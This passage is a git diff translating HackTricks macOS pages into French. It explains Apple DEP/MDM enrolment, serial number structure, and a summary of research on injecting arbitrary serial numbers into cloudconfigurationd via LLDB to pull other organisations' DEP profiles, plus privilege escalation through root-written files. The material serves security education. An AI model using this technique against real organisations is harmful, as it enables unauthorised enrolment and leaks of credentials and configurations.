les appareils prêts à l'utilisation organisationnelle rapidement. -### **Security Consideration** +### **Considération de sécurité** -It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device. +Il est crucial de noter que la facilité d'inscription fournie par DEP, bien que bénéfique, peut également poser des risques de sécurité. Si les mesures de protection ne sont pas adéquatement appliquées pour l'inscription MDM, les attaquants pourraient exploiter ce processus simplifié pour enregistrer leur appareil sur le serveur MDM de l'organisation, se faisant passer pour un appareil d'entreprise. > [!CAUTION] -> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place. +> **Alerte de sécurité** : L'inscription simplifiée à DEP pourrait potentiellement permettre l'enregistrement non autorisé d'appareils sur le serveur MDM de l'organisation si des mesures de protection appropriées ne sont pas en place. -### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### Qu'est-ce que SCEP (Simple Certificate Enrollment Protocol) ? -- A relatively old protocol, created before TLS and HTTPS were widespread. -- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. +- Un protocole relativement ancien, créé avant que TLS et HTTPS ne soient répandus. +- Donne aux clients un moyen standardisé d'envoyer une **demande de signature de certificat** (CSR) dans le but d'obtenir un certificat. Le client demandera au serveur de lui fournir un certificat signé. -### What are Configuration Profiles (aka mobileconfigs)? +### Qu'est-ce que les profils de configuration (alias mobileconfigs) ? -- Apple’s official way of **setting/enforcing system configuration.** -- File format that can contain multiple payloads. -- Based on property lists (the XML kind). -- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. +- La méthode officielle d'Apple pour **définir/appliquer la configuration système.** +- Format de fichier pouvant contenir plusieurs charges utiles. +- Basé sur des listes de propriétés (le type XML). +- “peut être signé et chiffré pour valider leur origine, garantir leur intégrité et protéger leur contenu.” Principes de base — Page 70, iOS Security Guide, janvier 2018. -## Protocols +## Protocoles ### MDM -- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) -- **Communication** occurs between a **device** and a server associated with a **device** **management** **product** -- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** -- All over **HTTPS**. MDM servers can be (and are usually) pinned. -- Apple grants the MDM vendor an **APNs certificate** for authentication +- Combinaison de APNs (**serveurs Apple**) + API RESTful (**serveurs de fournisseur MDM**) +- **La communication** se produit entre un **appareil** et un serveur associé à un **produit de gestion des appareils** +- **Commandes** livrées du MDM à l'appareil dans des **dictionnaires encodés en plist** +- Tout cela via **HTTPS**. Les serveurs MDM peuvent être (et sont généralement) épinglés. +- Apple accorde au fournisseur MDM un **certificat APNs** pour l'authentification ### DEP -- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): - - The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. - - The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. - - The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. -- More modern and **JSON** based (vs. plist) -- Apple grants an **OAuth token** to the MDM vendor +- **3 API** : 1 pour les revendeurs, 1 pour les fournisseurs MDM, 1 pour l'identité de l'appareil (non documentée) : +- La soi-disant [API "cloud service" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Cela est utilisé par les serveurs MDM pour associer des profils DEP à des appareils spécifiques. +- L'[API DEP utilisée par les revendeurs autorisés Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) pour inscrire des appareils, vérifier l'état d'inscription et vérifier l'état des transactions. +- L'API DEP privée non documentée. Cela est utilisé par les appareils Apple pour demander leur profil DEP. Sur macOS, le binaire `cloudconfigurationd` est responsable de la communication via cette API. +- Plus moderne et basé sur **JSON** (vs. plist) +- Apple accorde un **jeton OAuth** au fournisseur MDM -**DEP "cloud service" API** +**API "cloud service" DEP** - RESTful -- sync device records from Apple to the MDM server -- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) -- A DEP “profile” contains: - - MDM vendor server URL - - Additional trusted certificates for server URL (optional pinning) - - Extra settings (e.g. which screens to skip in Setup Assistant) +- synchroniser les enregistrements d'appareils d'Apple au serveur MDM +- synchroniser les “profils DEP” d'Apple depuis le serveur MDM (livrés par Apple à l'appareil plus tard) +- Un profil DEP contient : +- URL du serveur fournisseur MDM +- Certificats supplémentaires de confiance pour l'URL du serveur (épinglage optionnel) +- Paramètres supplémentaires (par exemple, quels écrans sauter dans l'Assistant de configuration) -## Serial Number +## Numéro de série -Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. +Les appareils Apple fabriqués après 2010 ont généralement des numéros de série alphanumériques de **12 caractères**, les **trois premiers chiffres représentant le lieu de fabrication**, les **deux suivants** indiquant l'**année** et la **semaine** de fabrication, les **trois chiffres suivants** fournissant un **identifiant unique**, et les **quatre derniers** chiffres représentant le **numéro de modèle**. {{#ref}} macos-serial-number.md {{#endref}} -## Steps for enrolment and management +## Étapes pour l'inscription et la gestion -1. Device record creation (Reseller, Apple): The record for the new device is created -2. Device record assignment (Customer): The device is assigned to a MDM server -3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple -4. DEP check-in (Device): Device gets his DEP profile -5. Profile retrieval (Device) -6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads -7. MDM command issuance (Device) +1. Création de l'enregistrement de l'appareil (Revendeur, Apple) : L'enregistrement du nouvel appareil est créé +2. Attribution de l'enregistrement de l'appareil (Client) : L'appareil est attribué à un serveur MDM +3. Synchronisation de l'enregistrement de l'appareil (Fournisseur MDM) : MDM synchronise les enregistrements d'appareils et pousse les profils DEP vers Apple +4. Enregistrement DEP (Appareil) : L'appareil obtient son profil DEP +5. Récupération du profil (Appareil) +6. Installation du profil (Appareil) a. incl. charges utiles MDM, SCEP et CA racine +7. Émission de commandes MDM (Appareil) ![](<../../../images/image (694).png>) -The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. +Le fichier `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exporte des fonctions qui peuvent être considérées comme des **"étapes" de haut niveau** du processus d'inscription. -### Step 4: DEP check-in - Getting the Activation Record +### Étape 4 : Enregistrement DEP - Obtention de l'enregistrement d'activation -This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) +Cette partie du processus se produit lorsqu'un **utilisateur démarre un Mac pour la première fois** (ou après un effacement complet) ![](<../../../images/image (1044).png>) -or when executing `sudo profiles show -type enrollment` +ou lors de l'exécution de `sudo profiles show -type enrollment` -- Determine **whether device is DEP enabled** -- Activation Record is the internal name for **DEP “profile”** -- Begins as soon as the device is connected to Internet -- Driven by **`CPFetchActivationRecord`** -- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - - LaunchDaemon (always runs as root) +- Déterminer **si l'appareil est activé DEP** +- L'enregistrement d'activation est le nom interne pour le **profil DEP** +- Commence dès que l'appareil est connecté à Internet +- Piloté par **`CPFetchActivationRecord`** +- Mis en œuvre par **`cloudconfigurationd`** via XPC. L'**"Assistant de configuration"** (lorsque l'appareil est démarré pour la première fois) ou la commande **`profiles`** contactera ce démon pour récupérer l'enregistrement d'activation. +- LaunchDaemon (s'exécute toujours en tant que root) -It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** +Il suit quelques étapes pour obtenir l'enregistrement d'activation effectué par **`MCTeslaConfigurationFetcher`**. Ce processus utilise un chiffrement appelé **Absinthe** -1. Retrieve **certificate** - 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Initialize** state from certificate (**`NACInit`**) - 1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) -3. Retrieve **session key** - 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) -4. Establish the session (**`NACKeyEstablishment`**) -5. Make the request - 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` - 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) - 3. All requests over HTTPs, built-in root certificates are used +1. Récupérer **le certificat** +1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) +2. **Initialiser** l'état à partir du certificat (**`NACInit`**) +1. Utilise diverses données spécifiques à l'appareil (c'est-à-dire **Numéro de série via `IOKit`**) +3. Récupérer **la clé de session** +1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) +4. Établir la session (**`NACKeyEstablishment`**) +5. Faire la demande +1. POST à [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) en envoyant les données `{ "action": "RequestProfileConfiguration", "sn": "" }` +2. La charge utile JSON est chiffrée à l'aide d'Absinthe (**`NACSign`**) +3. Toutes les demandes via HTTPs, des certificats racines intégrés sont utilisés ![](<../../../images/image (566) (1).png>) -The response is a JSON dictionary with some important data like: +La réponse est un dictionnaire JSON contenant des données importantes telles que : -- **url**: URL of the MDM vendor host for the activation profile -- **anchor-certs**: Array of DER certificates used as trusted anchors +- **url** : URL de l'hôte fournisseur MDM pour le profil d'activation +- **anchor-certs** : Tableau de certificats DER utilisés comme ancres de confiance -### **Step 5: Profile Retrieval** +### **Étape 5 : Récupération du profil** ![](<../../../images/image (444).png>) -- Request sent to **url provided in DEP profile**. -- **Anchor certificates** are used to **evaluate trust** if provided. - - Reminder: the **anchor_certs** property of the DEP profile -- **Request is a simple .plist** with device identification - - Examples: **UDID, OS version**. -- CMS-signed, DER-encoded -- Signed using the **device identity certificate (from APNS)** -- **Certificate chain** includes expired **Apple iPhone Device CA** +- Demande envoyée à **l'url fournie dans le profil DEP**. +- **Certificats d'ancrage** sont utilisés pour **évaluer la confiance** si fournis. +- Rappel : la propriété **anchor_certs** du profil DEP +- **La demande est un simple .plist** avec identification de l'appareil +- Exemples : **UDID, version OS**. +- Signé par CMS, encodé en DER +- Signé à l'aide du **certificat d'identité de l'appareil (provenant d'APNS)** +- **La chaîne de certificats** inclut un **Apple iPhone Device CA** expiré -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) -### Step 6: Profile Installation +### Étape 6 : Installation du profil -- Once retrieved, **profile is stored on the system** -- This step begins automatically (if in **setup assistant**) -- Driven by **`CPInstallActivationProfile`** -- Implemented by mdmclient over XPC - - LaunchDaemon (as root) or LaunchAgent (as user), depending on context -- Configuration profiles have multiple payloads to install -- Framework has a plugin-based architecture for installing profiles -- Each payload type is associated with a plugin - - Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) -- Example: - - Certificate Payloads use CertificateService.xpc +- Une fois récupéré, **le profil est stocké sur le système** +- Cette étape commence automatiquement (si dans **l'assistant de configuration**) +- Piloté par **`CPInstallActivationProfile`** +- Mis en œuvre par mdmclient via XPC +- LaunchDaemon (en tant que root) ou LaunchAgent (en tant qu'utilisateur), selon le contexte +- Les profils de configuration ont plusieurs charges utiles à installer +- Le cadre a une architecture basée sur des plugins pour l'installation des profils +- Chaque type de charge utile est associé à un plugin +- Peut être XPC (dans le cadre) ou classique Cocoa (dans ManagedClient.app) +- Exemple : +- Les charges utiles de certificat utilisent CertificateService.xpc -Typically, **activation profile** provided by an MDM vendor will **include the following payloads**: +Typiquement, **le profil d'activation** fourni par un fournisseur MDM inclura **les charges utiles suivantes** : -- `com.apple.mdm`: to **enroll** the device in MDM -- `com.apple.security.scep`: to securely provide a **client certificate** to the device. -- `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain. -- Installing the MDM payload equivalent to **MDM check-in in the documentation** -- Payload **contains key properties**: -- - MDM Check-In URL (**`CheckInURL`**) - - MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it -- To install MDM payload, request is sent to **`CheckInURL`** -- Implemented in **`mdmclient`** -- MDM payload can depend on other payloads -- Allows **requests to be pinned to specific certificates**: - - Property: **`CheckInURLPinningCertificateUUIDs`** - - Property: **`ServerURLPinningCertificateUUIDs`** - - Delivered via PEM payload -- Allows device to be attributed with an identity certificate: - - Property: IdentityCertificateUUID - - Delivered via SCEP payload +- `com.apple.mdm` : pour **inscrire** l'appareil dans MDM +- `com.apple.security.scep` : pour fournir de manière sécurisée un **certificat client** à l'appareil. +- `com.apple.security.pem` : pour **installer des certificats CA de confiance** dans le trousseau système de l'appareil. +- Installer la charge utile MDM équivaut à **l'enregistrement MDM dans la documentation** +- La charge utile **contient des propriétés clés** : +- - URL de vérification MDM (**`CheckInURL`**) +- URL de sondage des commandes MDM (**`ServerURL`**) + sujet APNs pour le déclencher +- Pour installer la charge utile MDM, une demande est envoyée à **`CheckInURL`** +- Mis en œuvre dans **`mdmclient`** +- La charge utile MDM peut dépendre d'autres charges utiles +- Permet **d'épingler les demandes à des certificats spécifiques** : +- Propriété : **`CheckInURLPinningCertificateUUIDs`** +- Propriété : **`ServerURLPinningCertificateUUIDs`** +- Livré via la charge utile PEM +- Permet à l'appareil d'être attribué avec un certificat d'identité : +- Propriété : IdentityCertificateUUID +- Livré via la charge utile SCEP -### **Step 7: Listening for MDM commands** +### **Étape 7 : Écoute des commandes MDM** -- After MDM check-in is complete, vendor can **issue push notifications using APNs** -- Upon receipt, handled by **`mdmclient`** -- To poll for MDM commands, request is sent to ServerURL -- Makes use of previously installed MDM payload: - - **`ServerURLPinningCertificateUUIDs`** for pinning request - - **`IdentityCertificateUUID`** for TLS client certificate +- Après que l'enregistrement MDM soit complet, le fournisseur peut **émettre des notifications push en utilisant APNs** +- À la réception, géré par **`mdmclient`** +- Pour interroger les commandes MDM, une demande est envoyée à ServerURL +- Utilise la charge utile MDM précédemment installée : +- **`ServerURLPinningCertificateUUIDs`** pour la demande d'épinglage +- **`IdentityCertificateUUID`** pour le certificat client TLS -## Attacks +## Attaques -### Enrolling Devices in Other Organisations +### Inscription d'appareils dans d'autres organisations -As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: +Comme commenté précédemment, pour essayer d'inscrire un appareil dans une organisation, **il suffit d'un numéro de série appartenant à cette organisation**. Une fois l'appareil inscrit, plusieurs organisations installeront des données sensibles sur le nouvel appareil : certificats, applications, mots de passe WiFi, configurations VPN [et ainsi de suite](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Par conséquent, cela pourrait être un point d'entrée dangereux pour les attaquants si le processus d'inscription n'est pas correctement protégé : {{#ref}} enrolling-devices-in-other-organisations.md diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 19851b925..9f3a9f3a9 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -1,53 +1,53 @@ -# Enrolling Devices in Other Organisations +# Enrôlement des appareils dans d'autres organisations {{#include ../../../banners/hacktricks-training.md}} ## Intro -As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. +Comme [**mentionné précédemment**](./#what-is-mdm-mobile-device-management)**,** pour essayer d'enrôler un appareil dans une organisation, **il suffit d'un numéro de série appartenant à cette organisation**. Une fois l'appareil enrôlé, plusieurs organisations installeront des données sensibles sur le nouvel appareil : certificats, applications, mots de passe WiFi, configurations VPN [et ainsi de suite](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Par conséquent, cela pourrait être un point d'entrée dangereux pour les attaquants si le processus d'enrôlement n'est pas correctement protégé. -**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!** +**Ce qui suit est un résumé de la recherche [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Consultez-le pour plus de détails techniques !** -## Overview of DEP and MDM Binary Analysis +## Aperçu de l'analyse binaire de DEP et MDM -This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include: +Cette recherche se penche sur les binaires associés au Programme d'Enrôlement des Appareils (DEP) et à la Gestion des Appareils Mobiles (MDM) sur macOS. Les composants clés incluent : -- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. -- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. -- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. +- **`mdmclient`** : Communique avec les serveurs MDM et déclenche les enregistrements DEP sur les versions macOS antérieures à 10.13.4. +- **`profiles`** : Gère les Profils de Configuration et déclenche les enregistrements DEP sur les versions macOS 10.13.4 et ultérieures. +- **`cloudconfigurationd`** : Gère les communications API DEP et récupère les profils d'enrôlement des appareils. -DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. +Les enregistrements DEP utilisent les fonctions `CPFetchActivationRecord` et `CPGetActivationRecord` du framework privé des Profils de Configuration pour récupérer l'Activation Record, avec `CPFetchActivationRecord` coordonnant avec `cloudconfigurationd` via XPC. -## Tesla Protocol and Absinthe Scheme Reverse Engineering +## Ingénierie inverse du protocole Tesla et du schéma Absinthe -The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. +L'enregistrement DEP implique que `cloudconfigurationd` envoie une charge utile JSON signée et chiffrée à _iprofiles.apple.com/macProfile_. La charge utile inclut le numéro de série de l'appareil et l'action "RequestProfileConfiguration". Le schéma de chiffrement utilisé est désigné en interne comme "Absinthe". Déchiffrer ce schéma est complexe et implique de nombreuses étapes, ce qui a conduit à explorer des méthodes alternatives pour insérer des numéros de série arbitraires dans la demande d'Activation Record. -## Proxying DEP Requests +## Proxying des demandes DEP -Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. +Les tentatives d'intercepter et de modifier les demandes DEP à _iprofiles.apple.com_ en utilisant des outils comme Charles Proxy ont été entravées par le chiffrement de la charge utile et les mesures de sécurité SSL/TLS. Cependant, l'activation de la configuration `MCCloudConfigAcceptAnyHTTPSCertificate` permet de contourner la validation du certificat du serveur, bien que la nature chiffrée de la charge utile empêche toujours la modification du numéro de série sans la clé de déchiffrement. -## Instrumenting System Binaries Interacting with DEP +## Instrumentation des binaires système interagissant avec DEP -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +L'instrumentation des binaires système comme `cloudconfigurationd` nécessite de désactiver la Protection de l'Intégrité du Système (SIP) sur macOS. Avec SIP désactivé, des outils comme LLDB peuvent être utilisés pour s'attacher aux processus système et potentiellement modifier le numéro de série utilisé dans les interactions API DEP. Cette méthode est préférable car elle évite les complexités des droits et de la signature de code. -**Exploiting Binary Instrumentation:** -Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: +**Exploitation de l'instrumentation binaire :** +Modifier la charge utile de la demande DEP avant la sérialisation JSON dans `cloudconfigurationd` s'est avéré efficace. Le processus impliquait : -1. Attaching LLDB to `cloudconfigurationd`. -2. Locating the point where the system serial number is fetched. -3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. +1. Attacher LLDB à `cloudconfigurationd`. +2. Localiser le point où le numéro de série système est récupéré. +3. Injecter un numéro de série arbitraire dans la mémoire avant que la charge utile ne soit chiffrée et envoyée. -This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability. +Cette méthode a permis de récupérer des profils DEP complets pour des numéros de série arbitraires, démontrant une vulnérabilité potentielle. -### Automating Instrumentation with Python +### Automatisation de l'instrumentation avec Python -The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles. +Le processus d'exploitation a été automatisé en utilisant Python avec l'API LLDB, rendant possible l'injection programmatique de numéros de série arbitraires et la récupération des profils DEP correspondants. -### Potential Impacts of DEP and MDM Vulnerabilities +### Impacts potentiels des vulnérabilités DEP et MDM -The research highlighted significant security concerns: +La recherche a mis en évidence des préoccupations de sécurité significatives : -1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved. +1. **Divulgation d'informations** : En fournissant un numéro de série enregistré dans DEP, des informations organisationnelles sensibles contenues dans le profil DEP peuvent être récupérées. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 4b373d774..119653805 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -1,40 +1,40 @@ -# macOS Serial Number +# Numéro de série macOS {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information: +Les appareils Apple post-2010 ont des numéros de série composés de **12 caractères alphanumériques**, chaque segment transmettant des informations spécifiques : -- **First 3 Characters**: Indicate the **manufacturing location**. -- **Characters 4 & 5**: Denote the **year and week of manufacture**. -- **Characters 6 to 8**: Serve as a **unique identifier** for each device. -- **Last 4 Characters**: Specify the **model number**. +- **Premiers 3 caractères** : Indiquent le **lieu de fabrication**. +- **Caractères 4 et 5** : Dénote l'**année et la semaine de fabrication**. +- **Caractères 6 à 8** : Servent d'**identifiant unique** pour chaque appareil. +- **Derniers 4 caractères** : Spécifient le **numéro de modèle**. -For instance, the serial number **C02L13ECF8J2** follows this structure. +Par exemple, le numéro de série **C02L13ECF8J2** suit cette structure. -### **Manufacturing Locations (First 3 Characters)** +### **Lieux de fabrication (Premiers 3 caractères)** -Certain codes represent specific factories: +Certains codes représentent des usines spécifiques : -- **FC, F, XA/XB/QP/G8**: Various locations in the USA. -- **RN**: Mexico. -- **CK**: Cork, Ireland. -- **VM**: Foxconn, Czech Republic. -- **SG/E**: Singapore. -- **MB**: Malaysia. -- **PT/CY**: Korea. -- **EE/QT/UV**: Taiwan. -- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China. -- **C0, C3, C7**: Specific cities in China. -- **RM**: Refurbished devices. +- **FC, F, XA/XB/QP/G8** : Divers emplacements aux États-Unis. +- **RN** : Mexique. +- **CK** : Cork, Irlande. +- **VM** : Foxconn, République tchèque. +- **SG/E** : Singapour. +- **MB** : Malaisie. +- **PT/CY** : Corée. +- **EE/QT/UV** : Taïwan. +- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7** : Différents emplacements en Chine. +- **C0, C3, C7** : Villes spécifiques en Chine. +- **RM** : Appareils remis à neuf. -### **Year of Manufacturing (4th Character)** +### **Année de fabrication (4ème caractère)** -This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods. +Ce caractère varie de 'C' (représentant la première moitié de 2010) à 'Z' (deuxième moitié de 2019), avec différentes lettres indiquant différentes périodes de semestre. -### **Week of Manufacturing (5th Character)** +### **Semaine de fabrication (5ème caractère)** -Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number. +Les chiffres 1-9 correspondent aux semaines 1-9. Les lettres C-Y (à l'exception des voyelles et de 'S') représentent les semaines 10-27. Pour la seconde moitié de l'année, 26 est ajouté à ce nombre. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 7fa9d3ae9..713e665d1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,33 +1,18 @@ -# macOS Security & Privilege Escalation +# Sécurité macOS & Escalade de Privilèges {{#include ../../banners/hacktricks-training.md}} -
+## MacOS de Base -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +Si vous n'êtes pas familier avec macOS, vous devriez commencer à apprendre les bases de macOS : -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - -## Basic MacOS - -If you are not familiar with macOS, you should start learning the basics of macOS: - -- Special macOS **files & permissions:** +- Fichiers et **permissions** spéciales macOS : {{#ref}} macos-files-folders-and-binaries/ {{#endref}} -- Common macOS **users** +- Utilisateurs **communs** de macOS {{#ref}} macos-users.md @@ -39,92 +24,92 @@ macos-users.md macos-applefs.md {{#endref}} -- The **architecture** of the k**ernel** +- L'**architecture** du k**ernel** {{#ref}} mac-os-architecture/ {{#endref}} -- Common macOS n**etwork services & protocols** +- Services et **protocoles** réseau macOS communs {{#ref}} macos-protocols.md {{#endref}} -- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) - - To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) +- macOS **Open Source** : [https://opensource.apple.com/](https://opensource.apple.com/) +- Pour télécharger un `tar.gz`, changez une URL comme [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) en [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) -### MacOS MDM +### MDM MacOS -In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**: +Dans les entreprises, les systèmes **macOS** seront très probablement **gérés avec un MDM**. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir **comment cela fonctionne** : {{#ref}} ../macos-red-teaming/macos-mdm/ {{#endref}} -### MacOS - Inspecting, Debugging and Fuzzing +### MacOS - Inspection, Débogage et Fuzzing {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} -## MacOS Security Protections +## Protections de Sécurité MacOS {{#ref}} macos-security-protections/ {{#endref}} -## Attack Surface +## Surface d'Attaque -### File Permissions +### Permissions de Fichier -If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\ -This could occur in the following situations: +Si un **processus s'exécutant en tant que root écrit** un fichier qui peut être contrôlé par un utilisateur, l'utilisateur pourrait en abuser pour **escalader les privilèges**.\ +Cela pourrait se produire dans les situations suivantes : -- File used was already created by a user (owned by the user) -- File used is writable by the user because of a group -- File used is inside a directory owned by the user (the user could create the file) -- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file) +- Le fichier utilisé a déjà été créé par un utilisateur (appartenant à l'utilisateur) +- Le fichier utilisé est modifiable par l'utilisateur en raison d'un groupe +- Le fichier utilisé se 